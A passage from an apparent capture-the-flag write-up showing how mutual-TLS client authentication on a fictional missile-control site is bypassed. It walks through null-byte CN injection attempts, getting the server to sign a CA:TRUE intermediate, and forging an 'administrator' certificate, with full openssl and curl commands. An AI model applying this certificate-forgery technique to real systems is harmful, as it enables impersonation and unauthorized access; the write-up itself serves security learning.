If we inspect the TLS handshake, we can see that the server sent us Request CERT
– a request for a client-side certificate as part of a mutual authenticate negotiation. In a mutual authentication negotiation, the server not only sends us a certificate chain in order to prove its identity but also requests a certificate chain from us in order to prove our identity. Since we don’t have any client-side certificate, the server rejects our access attempt.
The image points to http://dev.missilesys.com
, let’s visit that:

If we try to enter a username and password, we are redirected to the following page:

With the following POST data:
username=userpassword=passprivatekey=-----BEGIN RSA PRIVATE KEY-----MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDEczI3G7Eckvvijq+s2ZE3JhWnlKctCMVT1koTU3tqVVk1GG1VXS0QblSGJJY6fVU/e5+HXquC55KufXJsBRMv4Q0vR3PgYdYaDxyeCOs+a8lt5xm3c+vIF+8x+zxHtzT7cH5th+EXhaOQhOxZgRgT9dKLexyGHZlAnTyxaCYacyaqZ2Y8hs+AchzHsg54q0nKEvg2see5W2krkM+5QuS7eaRGgVSbtb4ZS27zZtxV6G5BmccOKPfm31DICfiS5mvP3GY+n7wJfG4Z4u7GYLLRddIolbtwimqd/buDd0Hs4kUJ01ZGt+EHwo7+9tlHy4S3Pq5AsdAU1cNUTwnRhCxXAgMBAAECggEAHPwYJRxfWeVv56IA1oJ1VAs497RNpC3em3uLC2XuWCaGlnhnrUglnX6B1xbv2WpjmQ2+4GS97n8HW9pjdv+asJ5GaTrkJG+a/NZM9R5Aw0F5A0+tMi2W1Lt/TcMRRk2IMi8LYFLDicpscybBjoUnDc7fxTehYkJcubVZXp2MvasMiGSeJQEIRUc41AGCPc5thiX1bQCW3fMpSpBk5Ld7Y8AFqS7ewdSk8YBxGSHF4uBNMnoP/ctqfktTCFanW/LPaDglhew8TOSJ3xeva1zdWTHz8Ak+/2ZG/eSPoihe8IeqxjwcweluUwPlZkmkkGYmtbqci3XtGrcWbg24X/p9pQKBgQDpB/A+MSAIOvYuQ8sPaUW06KlAGLowDB/1HYPM2yRlRnQ0BSelFV2prFBbs1r7TYEzD1/C4tKszI5Y5c/TUuGqv9igTNxlAcRWO/4SU5xDqSNIbYhV0NTQjcRzV2pKHgi/Haau4rB8h9PBJgTgCObdt2E2Lfq2Z9tcGACUzKHQTQKBgQDX0DXUEAeo4hV731nuVTT29+doRP3MBY1ViVcJUxoqmT3K+sssHF4EI8Rm1G3PQDvqi8V8x6lCJhARxZ2vr2T31qsg5byOc8EuLoWoHoQv4XRAGp9JW6KHiiPFMchKDiKm+qwoXPEbjJ8rZ7yrjb5GIXCtD5eKVhhoqVb75AThMwKBgErhPSaO3I8oeyDEsgRivH50YKZzC6kSzFYURNzX8isE56Qrn+ChK/awoyXETVEBR6njn87c2fuiw373Yb+zG0al3PMtn4hpd/CJ2IuFCGqJeAf3Al8o+qmFVIIHreThH8hhu8TonPN3Jekj0V84HQ9TtM4XGj/wwYEnSVCHLNvlAoGAB096Q1C3sbTW3XdXaIdiX+tN325W2o5llzwrwpkaDc9bFIEiWMAtPx6nDISto5Odc/iAHBX3WdJIQRHcoZLjbLHM4jRmCr1JEfNpe6Rs/eI5OeKs+qMsAkNfqtJg4oFQEy/ynPto/3HoAmRlM7p9c4q2cmZQz9LSyNjTpXy33ZkCgYAuBjuiB1MXJ23SaSmHi+Ryx67ye57qtzJBjjNhAvWFfViRwZhEmY71OkOKkjlydpvGEiGvT1v9o+1xWmVflBwY2AYjQGYeQDxUxGq09sY0i0z4ymbMvb6N+WWq+fbgAEADbDROjdQzjn3cuXexeN2mZFv8fZE8JWUCLf2HRxOC0Q==-----END RSA PRIVATE KEY-----csr=-----BEGIN CERTIFICATE REQUEST-----MIICgjCCAWwCAQAwDzENMAsGA1UEAwwEdXNlcjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMRzMjcbsRyS++KOr6zZkTcmFaeUpy0IxVPWShNTe2pVWTUYbVVdLRBuVIYkljp9VT97n4deq4Lnkq59cmwFEy/hDS9Hc+Bh1hoPHJ4I6z5ryW3nGbdz68gX7zH7PEe3NPtwfm2H4ReFo5CE7FmBGBP10ot7HIYdmUCdPLFoJhpzJqpnZjyGz4ByHMeyDnirScoS+Dax57lbaSuQz7lC5Lt5pEaBVJu1vhlLbvNm3FXobkGZxw4o9+bfUMgJ+JLma8/cZj6fvAl8bhni7sZgstF10iiVu3CKap39u4N3QeziRQnTVka34QfCjv722UfLhLc+rkCx0BTVw1RPCdGELFcCAwEAAaAwMC4GCSqGSIb3DQEJDjEhMB8wHQYDVR0OBBYEFG0tZEZsdBat7bYForQa3Jsm4zwKMAsGCSqGSIb3DQEBBQOCAQEAhnbp1ZhMINpDVAtknky0pAHd6x7r0FaJmo2QxRMWp49BCdPV6GLS4JTleNSz3uz8+iNPwTCqWTleFbA7OsnX1pYPeMGiHJKhPLHg+Tlfm3ozXc1jfskDXUJ7GuCaHJnUf4FubjgTVkKL2Q5sZt7EWP3PIbw8x5ZMUVGCQatde9bLTf+1sMxZ5SJmA3r3eYXSKgEXE/ePInelL4QPU7fNuK5+5AVdvuiIeBNOI6K5piqJPQPFZIEf1l6+d7HAgUB37mZ0NCLMuO6kO+CocCKDX1PH+cXW1nee1YM8vKZpEdb1QbI3Qwci3q4PCT1xF5tdlF0mg6nEQp89gAAy/aS61w==-----END CERTIFICATE REQUEST-----
As you can see, in addition to our username and password, the form included two hidden fields for a private RSA key and a certificate signing request.
Let’s inspect the CSR (certificate signing request) by copying it to a file and running the following command:
root@kali:/media/sf_CTFs/mossad/2# openssl req -in user.csr -text -nooutCertificate Request: Data: Version: 1 (0x0) Subject: CN = user Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public-Key: (2048 bit) Modulus: 00:c4:73:32:37:1b:b1:1c:92:fb:e2:8e:af:ac:d9: 91:37:26:15:a7:94:a7:2d:08:c5:53:d6:4a:13:53: 7b:6a:55:59:35:18:6d:55:5d:2d:10:6e:54:86:24: 96:3a:7d:55:3f:7b:9f:87:5e:ab:82:e7:92:ae:7d: 72:6c:05:13:2f:e1:0d:2f:47:73:e0:61:d6:1a:0f: 1c:9e:08:eb:3e:6b:c9:6d:e7:19:b7:73:eb:c8:17: ef:31:fb:3c:47:b7:34:fb:70:7e:6d:87:e1:17:85: a3:90:84:ec:59:81:18:13:f5:d2:8b:7b:1c:86:1d: 99:40:9d:3c:b1:68:26:1a:73:26:aa:67:66:3c:86: cf:80:72:1c:c7:b2:0e:78:ab:49:ca:12:f8:36:b1: e7:b9:5b:69:2b:90:cf:b9:42:e4:bb:79:a4:46:81: 54:9b:b5:be:19:4b:6e:f3:66:dc:55:e8:6e:41:99: c7:0e:28:f7:e6:df:50:c8:09:f8:92:e6:6b:cf:dc: 66:3e:9f:bc:09:7c:6e:19:e2:ee:c6:60:b2:d1:75: d2:28:95:bb:70:8a:6a:9d:fd:bb:83:77:41:ec:e2: 45:09:d3:56:46:b7:e1:07:c2:8e:fe:f6:d9:47:cb: 84:b7:3e:ae:40:b1:d0:14:d5:c3:54:4f:09:d1:84: 2c:57 Exponent: 65537 (0x10001) Attributes: Requested Extensions: X509v3 Subject Key Identifier: 6D:2D:64:46:6C:74:16:AD:ED:B6:05:A2:B4:1A:DC:9B:26:E3:3C:0A Signature Algorithm: sha1WithRSAEncryption 86:76:e9:d5:98:4c:20:da:43:54:0b:64:9e:4c:b4:a4:01:dd: eb:1e:eb:d0:56:89:9a:8d:90:c5:13:16:a7:8f:41:09:d3:d5: e8:62:d2:e0:94:e5:78:d4:b3:de:ec:fc:fa:23:4f:c1:30:aa: 59:39:5e:15:b0:3b:3a:c9:d7:d6:96:0f:78:c1:a2:1c:92:a1: 3c:b1:e0:f9:39:5f:9b:7a:33:5d:cd:63:7e:c9:03:5d:42:7b: 1a:e0:9a:1c:99:d4:7f:81:6e:6e:38:13:56:42:8b:d9:0e:6c: 66:de:c4:58:fd:cf:21:bc:3c:c7:96:4c:51:51:82:41:ab:5d: 7b:d6:cb:4d:ff:b5:b0:cc:59:e5:22:66:03:7a:f7:79:85:d2: 2a:01:17:13:f7:8f:22:77:a5:2f:84:0f:53:b7:cd:b8:ae:7e: e4:05:5d:be:e8:88:78:13:4e:23:a2:b9:a6:2a:89:3d:03:c5: 64:81:1f:d6:5e:be:77:b1:c0:81:40:77:ee:66:74:34:22:cc: b8:ee:a4:3b:e0:a8:70:22:83:5f:53:c7:f9:c5:d6:d6:77:9e: d5:83:3c:bc:a6:69:11:d6:f5:41:b2:37:43:07:22:de:ae:0f: 09:3d:71:17:9b:5d:94:5d:26:83:a9:c4:42:9f:3d:80:00:32: fd:a4:ba:d7
The main detail here is that the certificate is being issued in order to authenticate user
(which is the username we entered).
By inspecting the form source, we can see that these additional fields were generated by a script upon form submission:
<form method="post"> <div id="username"> <span>Username:</span> <input name="username" type="text"></input> </div> <div id="password"> <div>Password:</div> <input name="password" type="password"></input> </div> <div id="submit"> <input id="privatekey" name="privatekey" type="hidden"></input> <input id="csr" name="csr" type="hidden"></input> <input type="button" onclick="gencsr()" value="Submit"></input> </div></form>
gencsr()
is implemented in a javascript file included by the page. This file seems to be based on the PKI.jslibrary, with some custom code:
function gencsr() { createPKCS10(document.querySelector("#username input").value);}function createPKCS10(cn) { return Promise.resolve().then(() => createPKCS10Internal(cn)).then(() => { var resultString = "-----BEGIN CERTIFICATE REQUEST-----\r\n"; resultString = `${resultString}${formatPEM(toBase64(arrayBufferToString(pkcs10Buffer)))}`; resultString = `${resultString}\r\n-----END CERTIFICATE REQUEST-----\r\n`; document.getElementById("csr").value = resultString; document.getElementById("privatekey").value = window.privateKey; document.querySelector("#signup form").submit(); });}
The custom code seems to generate a private key, and create a CSR with our selected username as the CN.
If we click the “Download” link, we get to download a file called user.p12
. This is a PKCS #12 file:
In cryptography, PKCS #12 defines an archive file format for storing many cryptography objects as a single file. It is commonly used to bundle a private key with its X.509 certificate or to bundle all the members of a chain of trust.
Let’s inspect it:
root@kali:/media/sf_CTFs/mossad/2# openssl pkcs12 -info -in user.p12Enter Import Password:MAC: sha1, Iteration 2048MAC length: 20, salt length: 8PKCS7 Encrypted data: pbeWithSHA1And40BitRC2-CBC, Iteration 2048Certificate bagBag Attributes localKeyID: A0 AE D7 F1 54 72 79 71 D8 04 6E 0C E7 69 5A CD 07 C5 3F 1Dsubject=CN = userissuer=O = International Weapons Export Inc.-----BEGIN CERTIFICATE-----MIIC4jCCAcqgAwIBAgIBATANBgkqhkiG9w0BAQsFADAsMSowKAYDVQQKDCFJbnRlcm5hdGlvbmFsIFdlYXBvbnMgRXhwb3J0IEluYy4wHhcNMTkwNTEyMTgwMDQxWhcNMjAwNTExMTgwMDQxWjAPMQ0wCwYDVQQDDAR1c2VyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxHMyNxuxHJL74o6vrNmRNyYVp5SnLQjFU9ZKE1N7alVZNRhtVV0tEG5UhiSWOn1VP3ufh16rgueSrn1ybAUTL+ENL0dz4GHWGg8cngjrPmvJbecZt3PryBfvMfs8R7c0+3B+bYfhF4WjkITsWYEYE/XSi3schh2ZQJ08sWgmGnMmqmdmPIbPgHIcx7IOeKtJyhL4NrHnuVtpK5DPuULku3mkRoFUm7W+GUtu82bcVehuQZnHDij35t9QyAn4kuZrz9xmPp+8CXxuGeLuxmCy0XXSKJW7cIpqnf27g3dB7OJFCdNWRrfhB8KO/vbZR8uEtz6uQLHQFNXDVE8J0YQsVwIDAQABoywwKjAJBgNVHRMEAjAAMB0GA1UdDgQWBBRtLWRGbHQWre22BaK0GtybJuM8CjANBgkqhkiG9w0BAQsFAAOCAQEAK53ccwjm0BSOdgFhrKH8YUnsH2T6mFBt4x3oidVuS3HyVHSnCsLVKAiUFuuGKq2SbHIrEQwwdoI5Lnw5OeXEzsGpvzEGKFs5QaABCRflg1lOsQimc8ciTZ1rBY8EpC2YTmV9b837PU6/C3mvDEc74AywYp/EKS+4pEsIn/XVDCQ5DuOqKkhF2BAEHzm5n7nsGf2oEBq/YkquQ1AX1yZtyrWBAQQxTJAx/+Fl3Rnd//pfgc9YA+xDqPd+SmJMNDA84VTrU2TtNRzkhw5BND5SCbXjHJhaAIpemwt+fZCFLVARvWvDNq/9w/UZeH+uSIgT06HgYluFm27oowwYNlouDw==-----END CERTIFICATE-----Certificate bagBag Attributes: <No Attributes>subject=O = International Weapons Export Inc.issuer=O = International Weapons Export Inc.-----BEGIN CERTIFICATE-----MIIDLjCCAhagAwIBAgIJAIfwMMwTXISVMA0GCSqGSIb3DQEBCwUAMCwxKjAoBgNVBAoMIUludGVybmF0aW9uYWwgV2VhcG9ucyBFeHBvcnQgSW5jLjAeFw0xOTA0MjAwOTEyMDFaFw0xOTA1MjAwOTEyMDFaMCwxKjAoBgNVBAoMIUludGVybmF0aW9uYWwgV2VhcG9ucyBFeHBvcnQgSW5jLjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALXZVC+c1A/4E8dVtZXOAGB4P5lX6zq/OtHa7mUruvVXTlmRiQxrP582C/9DyVx3n8FeR6TAcRtQIDHeQtbcovKD7m6QaZD2xh+liNkwnATU0XEc/eg04KUbu8m2hbLDtPUwjSNqcEgs+KC3MQDXlOwhLAO0K6x4j6dAniEDlev3H7C+PcCcBSepYRyWHs0NM+VW+69mMEGD0uHW14i3GhAxzJ40jQe30/EO9zdylVpWdpWlzVTw3sLU/7EVaPc/SfIehOeZ7hRiB1B3dy5KFu7LamusHoYduCjqwY2435ODZtxdJ4x+u7PKv3ebXRbcObYA10OkXFprvdigVTak7P8CAwEAAaNTMFEwHQYDVR0OBBYEFGRYGlEuaMZ+hClg+aeMsSF2+PSoMB8GA1UdIwQYMBaAFGRYGlEuaMZ+hClg+aeMsSF2+PSoMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAIDUDzQlEh97jzRkMNdsTWEo2xiwYOspmbloiq1MV/uFG+CkgeE8/OeizsKPGlGmlxeJ0wfVGrPf0hSBISDVBf2xN3QV9yHVtoJBr8hNyQN5Mvkl7q54TjrRvVhK4RWzSfnKzpV1btE9aEUmGpXHE9CI5sVx7FFMHQiXmuO3C1nXTV/gFUxGtpJE01xeD4xtfPM4yx6FWiGB1kdC8TsF0HcE9pc2yWO/+C1YzVe+Zd0miCAXebh8g51PlAJhLJBLizQJFKg8jSGyDquhSPPqbzWmsTg7gC4p3zELjQmQZe7H7qwa5DmNLovrOhzLOhFh0fBx3210HbqDPw7TNW8hCco=-----END CERTIFICATE-----PKCS7 DataShrouded Keybag: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 2048Bag Attributes localKeyID: A0 AE D7 F1 54 72 79 71 D8 04 6E 0C E7 69 5A CD 07 C5 3F 1DKey Attributes: <No Attributes>Enter PEM pass phrase:Verifying - Enter PEM pass phrase:-----BEGIN ENCRYPTED PRIVATE KEY-----MIIFHDBOBgkqhkiG9w0BBQ0wQTApBgkqhkiG9w0BBQwwHAQIekaYQxMj9iwCAggAMAwGCCqGSIb3DQIJBQAwFAYIKoZIhvcNAwcECBsX2X0EXQE+BIIEyEJHWDFVQw1tWglw0fePUq3+9IWLTBwmYH1z3DmW5IoLBnbdLjdFIfI3UpEpZCAWCvX6f7XmVtI3F2RtbJ5ThdWa+QbF+1jd98//j0nxnzxOnhIO15JdTwKTR+e0Kn9jDEXvpNr+Pc/C38pu3QHdGp0eOr5zs0H4/mrUviUQx9QfGNgj19XFhtn4NWEF8h4r9AH/cHpVDrN2zhoOsco6W7q2oxmB8A1w4NrifuUCovCiK4eFPmzBX+H0zYUZ0JFaigHOLOXpZuXhr5QRw37+Mlon/5LhGLP7D00Libu3ozksaY/3mqCnwz9YrAuA5wKcqe1fwJG2LhTOIjb1uKqORtLVKV2xeacML0U+XZFryBF1z9pR0M0InNWtgHj/O2fwKvRLR7vVJCuKJay5VTWNp5NqeD8M4ZsQWQL9f0thsvV0Ouh/wAFEcQ4DQGk1omXeiSn3cWKV7T+39p2aIZiEGVRKiDb3Z0PVUzXgMuMnr7ErMPhAIRdbXDIbkkg5eqHVhw1U9nmFpZPkIUccpUQxztM8zipKuSrVMsaaP4jI64unNuNbHgV4UtYHz6KFNee/Y0L2DCnzdLMt437BttCC85TSf1Vsb02lZoiPcTEjq2/jKzXOBH1RMVM9OGwDFkU85T4IOxT8KQM8+Uk2+mD4fpnOcXYZTkatMm3F/U/d5Hzmwe8BbBuVFzYMlkG4UvExa1/GAYDAhTiwQppC2E82Rv1V7IrS0l5airb3HBfPjpjX+kMiH/2QqIhjyMBITCMiVTCAYmMtvKLt11kD+goqaW8PdsriNJxVK5ydR5j9MsdzRPmKY0hw07s0IIj8QQFF3isgQlREgEmwnz1EE/sM7tn8j0GiEhYUxZMLqtpg65fe373Nvjd5ik4FNS+L1kHUuxb7iOHS5yEQJoAsidtgbzQqNM8XLZbz12th/WJE1qtYKzAxFP2MQZ4JbLvtmRDFGcH9ewVOKY5eL2ynk3/gGzY6nHtqW1cDOGsM/U6PNKQ5ays2MY9XlDpNAo5STTuYNQquEKfugnk8vugRcm4kLc3TCtfsSDjCVACCUm3u1e8/MeopNQ9bDFxyjrRJcUkDefdGEr7qpuMySmxBOHSzIUQXH7kJO2k4vW49N8af3ruO4LmrDn16IxWgq4jwfArSMsH92Afu5LmJ+dB6txxSHBcbN4wAKXuJGsy3qwLyOL+lKFuffaidxhsjdFNeL5pe/IQfEjJ5+ED3lVpArp0UAd5wlH6R7mzlq0YdDhJsdw25WPRC5Rpkoe10Ue0q37H5D4T6pCOQg70skny8fJedrVjxVdY7hYwUBXUjZSBPH0G7AWEqsYBaU5TNHizjFGEOnMVm0qhhJiPVF0zwwdFv0VwCzYYmeYAVLbaHWuVmDoYU42kv8wBXoRYFrPuAy4QQOMvPaYbikYc64+3dNagvyBGIeMgg7ZEypqQMGtkuPN1fbt3c5WMaA0Hs+VFZJSJcEEjHcUQgrGqOqPGkq9AhJPV8puHvassE0kqzSQnGUNuOsVFyV4uOIrvc4cSmn1CQjMGxW3FRbGHmwbtEA82E9Pte/HCl0gs7EJEI6nrMV25CwgQxdnhR07hQTizeUo+aBpCHuZrwp4udZndmJx9urwUzSRHY4wZVhw==-----END ENCRYPTED PRIVATE KEY-----
We can see that the certificate request we sent using the form was signed by the server, and now we have what seems to be a valid certificate chain which authenticates user
and builds up to “International Weapons Export Inc.” (which is also the issuer of the server certificate which was used when attempting to access https://missilesys.com/
).
Can we use this chain to access http://missilesys.com
?
We add the chain to our Personal
certificate store:

Now we try to access the website again. This time, the browser asks us which client-side certificate we’d like to use for mutual authentication:

We chose the newly installed certificate and can finally access the control panel:

Looks serious. On the top right corner we have a “settings” link, but if we try to click it, we get an error message stating that “You are not the administrator!”.
No problem, we can just head back to http://dev.missilesys.com
and issue a certificate with administrator
as the CN, right?
Not so easy, the server doesn’t accept administrator
as a valid name, and states that “User already exists!”.
Some implementations are vulnerable to a null prefix attack, where we insert a null byte inside the CN and faulty implementations might stop the comparison when they hit the null byte, or ignore the null byte altogether.
All the following attempts were signed successfully by the server, allowed accessing the main control panel, but failed when attempting to access the setting page:
subject=CN = admin\00istratorsubject=CN = administrator\00asubject=CN = administrator\00
We have to find a different way to trick the server into signing an “administrator” certificate for us. Or is there another option?
Let’s take a closer look at the certificate the server signed for us.
First we extract the certificate from the PKCS#12 file, and then inspect it:
root@kali:/media/sf_CTFs/mossad/2# openssl pkcs12 -in user.p12 -clcerts -nokeys -out user.pemEnter Import Password:root@kali:/media/sf_CTFs/mossad/2# openssl x509 -in user.pem -text -nooutCertificate: Data: Version: 3 (0x2) Serial Number: 1 (0x1) Signature Algorithm: sha256WithRSAEncryption Issuer: O = International Weapons Export Inc. Validity Not Before: May 12 18:00:41 2019 GMT Not After : May 11 18:00:41 2020 GMT Subject: CN = user Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public-Key: (2048 bit) Modulus: 00:c4:73:32:37:1b:b1:1c:92:fb:e2:8e:af:ac:d9: 91:37:26:15:a7:94:a7:2d:08:c5:53:d6:4a:13:53: 7b:6a:55:59:35:18:6d:55:5d:2d:10:6e:54:86:24: 96:3a:7d:55:3f:7b:9f:87:5e:ab:82:e7:92:ae:7d: 72:6c:05:13:2f:e1:0d:2f:47:73:e0:61:d6:1a:0f: 1c:9e:08:eb:3e:6b:c9:6d:e7:19:b7:73:eb:c8:17: ef:31:fb:3c:47:b7:34:fb:70:7e:6d:87:e1:17:85: a3:90:84:ec:59:81:18:13:f5:d2:8b:7b:1c:86:1d: 99:40:9d:3c:b1:68:26:1a:73:26:aa:67:66:3c:86: cf:80:72:1c:c7:b2:0e:78:ab:49:ca:12:f8:36:b1: e7:b9:5b:69:2b:90:cf:b9:42:e4:bb:79:a4:46:81: 54:9b:b5:be:19:4b:6e:f3:66:dc:55:e8:6e:41:99: c7:0e:28:f7:e6:df:50:c8:09:f8:92:e6:6b:cf:dc: 66:3e:9f:bc:09:7c:6e:19:e2:ee:c6:60:b2:d1:75: d2:28:95:bb:70:8a:6a:9d:fd:bb:83:77:41:ec:e2: 45:09:d3:56:46:b7:e1:07:c2:8e:fe:f6:d9:47:cb: 84:b7:3e:ae:40:b1:d0:14:d5:c3:54:4f:09:d1:84: 2c:57 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Basic Constraints: CA:FALSE X509v3 Subject Key Identifier: 6D:2D:64:46:6C:74:16:AD:ED:B6:05:A2:B4:1A:DC:9B:26:E3:3C:0A Signature Algorithm: sha256WithRSAEncryption 2b:9d:dc:73:08:e6:d0:14:8e:76:01:61:ac:a1:fc:61:49:ec: 1f:64:fa:98:50:6d:e3:1d:e8:89:d5:6e:4b:71:f2:54:74:a7: 0a:c2:d5:28:08:94:16:eb:86:2a:ad:92:6c:72:2b:11:0c:30: 76:82:39:2e:7c:39:39:e5:c4:ce:c1:a9:bf:31:06:28:5b:39: 41:a0:01:09:17:e5:83:59:4e:b1:08:a6:73:c7:22:4d:9d:6b: 05:8f:04:a4:2d:98:4e:65:7d:6f:cd:fb:3d:4e:bf:0b:79:af: 0c:47:3b:e0:0c:b0:62:9f:c4:29:2f:b8:a4:4b:08:9f:f5:d5: 0c:24:39:0e:e3:aa:2a:48:45:d8:10:04:1f:39:b9:9f:b9:ec: 19:fd:a8:10:1a:bf:62:4a:ae:43:50:17:d7:26:6d:ca:b5:81: 01:04:31:4c:90:31:ff:e1:65:dd:19:dd:ff:fa:5f:81:cf:58: 03:ec:43:a8:f7:7e:4a:62:4c:34:30:3c:e1:54:eb:53:64:ed: 35:1c:e4:87:0e:41:34:3e:52:09:b5:e3:1c:98:5a:00:8a:5e: 9b:0b:7e:7d:90:85:2d:50:11:bd:6b:c3:36:af:fd:c3:f5:19: 78:7f:ae:48:88:13:d3:a1:e0:62:5b:85:9b:6e:e8:a3:0c:18: 36:5a:2e:0f
What is the difference between a CA (certificate authority) certificate and a leaf certificate? The CA certificate can be used to sign other certificates, while a leaf certificate cannot. And how does the browser (or any other entity verifying the chain) know if a certificate is a leaf or not? Using the following field:
X509v3 Basic Constraints: CA:FALSE
If we didn’t have this field, any malicious entity could purchase a legitimate certificate from a trusted CA and then use it to extend the chain by signing additional certificates. Therefore, when CAs issue certificates to end entities, they set “Basic Constraints: CA = FALSE” in the issued certificate and the browser knows not to trust a chain where any certificate but the last one has CA = FALSE.
What if we could get the server to sign a certificate with CA = TRUE? We could then sign our own certificate with CN = administrator.
We start by creating a private key for our intermediate certificate (in theory we could also use the one generated by the javascript file):
root@kali:/media/sf_CTFs/mossad/2# openssl genrsa -out intermediate_key.pem 2048Generating RSA private key, 2048 bit long modulus (2 primes)............................................................................................................+++++...................+++++e is 65537 (0x010001)
Now, we need to issue a CSR for a certificate with CA = TRUE:
root@kali:/media/sf_CTFs/mossad/2# openssl req -addext basicConstraints=critical,CA:TRUE,pathlen:1 -outform pem -out intermediate_csr.pem -key intermediate_key.pem -newYou are about to be asked to enter information that will be incorporatedinto your certificate request.What you are about to enter is what is called a Distinguished Name or a DN.There are quite a few fields but you can leave some blankFor some fields there will be a default value,If you enter '.', the field will be left blank.-----Country Name (2 letter code) [AU]:.State or Province Name (full name) [Some-State]:.Locality Name (eg, city) []:.Organization Name (eg, company) [Internet Widgits Pty Ltd]:.Organizational Unit Name (eg, section) []:.Common Name (e.g. server FQDN or YOUR name) []:Evil MITMEmail Address []:.Please enter the following 'extra' attributesto be sent with your certificate requestA challenge password []:An optional company name []:root@kali:/media/sf_CTFs/mossad/2# openssl req -text -noout -in intermediate_csr.pem | grep CA -B 3 Attributes: Requested Extensions: X509v3 Basic Constraints: critical CA:TRUE, pathlen:1
Now we request the server to sign our CSR:
root@kali:/media/sf_CTFs/mossad/2# curl 'https://dev.missilesys.com/download_cert' -H 'Connection: keep-alive' -H 'Content-Type: application/x-www-form-urlencoded' --data 'username=user&password=pass' --insecure --data-urlencode privatekey@intermediate_key.pem --data-urlencode csr@intermediate_csr.pem --output intermediate.p12 % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 6108 0 3213 100 2895 3811 3434 --:--:-- --:--:-- --:--:-- 7245 root@kali:/media/sf_CTFs/mossad/2# openssl pkcs12 -in intermediate.p12 -clcerts -nokeys -out intermediate.pem Enter Import Password: root@kali:/media/sf_CTFs/mossad/2# openssl x509 -in intermediate.pem -text -noout Certificate: Data: Version: 3 (0x2) Serial Number: 1 (0x1) Signature Algorithm: sha256WithRSAEncryption Issuer: O = International Weapons Export Inc. Validity Not Before: May 12 19:42:38 2019 GMT Not After : May 11 19:42:38 2020 GMT Subject: CN = Evil MITM Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public-Key: (2048 bit) Modulus: 00:cb:87:89:23:0d:e0:e9:dd:e0:09:bb:26:df:86: 72:6e:7e:52:b0:f7:1e:98:54:89:00:c8:9f:48:b6: 8d:83:c5:76:55:0b:65:9f:b2:72:28:42:c3:ab:a7: 68:ef:b1:2b:1c:34:b1:f6:c9:77:6f:a4:1a:7e:8d: 21:38:04:88:31:3d:a1:63:bd:22:df:6f:de:d2:ed: 57:ad:9b:93:64:03:4e:02:b4:d8:af:f3:d5:bc:a0: 50:cd:df:74:37:85:a1:aa:98:cc:a5:4b:d4:cc:88: 8a:04:3d:2e:aa:bc:06:6a:a2:52:c0:44:92:37:8f: 10:72:28:e7:15:e2:ad:b7:b5:24:b3:ff:fc:29:09: d1:c2:42:96:bf:05:9f:1a:75:3b:3a:65:a9:5b:d2: 7c:4a:47:ac:1c:d4:f9:a1:64:83:5a:11:cf:8b:f6: ab:09:80:23:a1:c6:8e:d2:41:39:e1:05:96:28:84: a6:6d:8b:83:11:6f:2b:a9:30:4f:4d:2e:e6:75:59: e2:79:15:f0:db:88:13:24:ce:3c:83:68:b2:54:31: 9d:b5:0e:3a:44:5a:b3:64:22:11:ef:98:4f:0d:55: 6f:94:b6:a6:fd:f6:54:0d:95:c4:68:f7:ba:49:10: b8:a9:fb:f8:25:51:5e:46:cd:6d:24:4b:64:17:49: 06:03 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Basic Constraints: CA:TRUE X509v3 Subject Key Identifier: 01:12:D6:0D:F5:04:76:E2:5C:3B:68:7B:37:F3:AB:C4:B4:E6:31:13 Signature Algorithm: sha256WithRSAEncryption 7d:2e:1e:c9:df:d0:20:29:a0:5e:11:87:a1:d3:e2:3f:76:c6: 2d:5d:da:d5:53:51:5c:6b:b1:5c:e9:37:9d:69:ed:43:fe:e1: ab:75:4f:22:42:43:cf:f4:6f:4f:a8:fc:70:82:a1:82:bc:26: 6f:7c:7e:7c:13:52:96:b3:16:85:af:fe:78:93:0b:06:05:c9: aa:99:ed:86:84:66:54:14:ca:5b:58:5f:56:1c:c8:ad:5b:9a: 84:b1:2b:e8:19:95:37:2a:f9:73:99:14:7c:d7:e2:8e:d5:09: 9b:29:02:ac:43:91:f1:df:ed:5c:2e:b0:70:33:d5:5b:16:56: 25:c7:2c:1e:92:01:8c:e3:27:05:06:0e:53:0f:0b:93:d2:03: d2:14:97:b9:9f:d5:d9:9f:2b:c5:26:a8:3c:09:23:13:b2:16: 87:32:39:73:e4:e0:ac:4a:c6:c1:35:24:f5:4e:38:3f:87:7e: 7b:b9:8e:1a:46:e2:c6:5c:fb:7f:c9:63:eb:e0:72:8b:3a:43: 34:6a:b3:1d:61:13:39:de:d0:48:0f:27:81:52:ac:62:c2:9c: e4:ae:92:8d:45:77:52:e2:0d:e2:ca:13:3b:33:da:a5:02:8d: 12:ed:00:f9:3e:4d:36:e3:89:79:7c:b1:cd:22:e3:94:3a:86: 6f:1b:a4:9d
We got a certificate with CA = TRUE!
Now we create a leaf with CN = administrator:
root@kali:/media/sf_CTFs/mossad/2# openssl genrsa -out leaf_key.pem 2048 Generating RSA private key, 2048 bit long modulus (2 primes) ...............................................+++++ ........................+++++ e is 65537 (0x010001) root@kali:/media/sf_CTFs/mossad/2# openssl req -new -key leaf_key.pem -out leaf_csr.pem You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Country Name (2 letter code) [AU]:. State or Province Name (full name) [Some-State]:. Locality Name (eg, city) []:. Organization Name (eg, company) [Internet Widgits Pty Ltd]:. Organizational Unit Name (eg, section) []:. Common Name (e.g. server FQDN or YOUR name) []:administrator Email Address []:. Please enter the following 'extra' attributes to be sent with your certificate request A challenge password []: An optional company name []: root@kali:/media/sf_CTFs/mossad/2# cat leaf.ext basicConstraints=CA:FALSE subjectKeyIdentifier=hash root@kali:/media/sf_CTFs/mossad/2# openssl x509 -req -in leaf_csr.pem -CA intermediate.pem -CAkey intermediate_key.pem -CAcreateserial -out leaf.pem -days 1825 -sha256 -extfile leaf.ext Signature ok 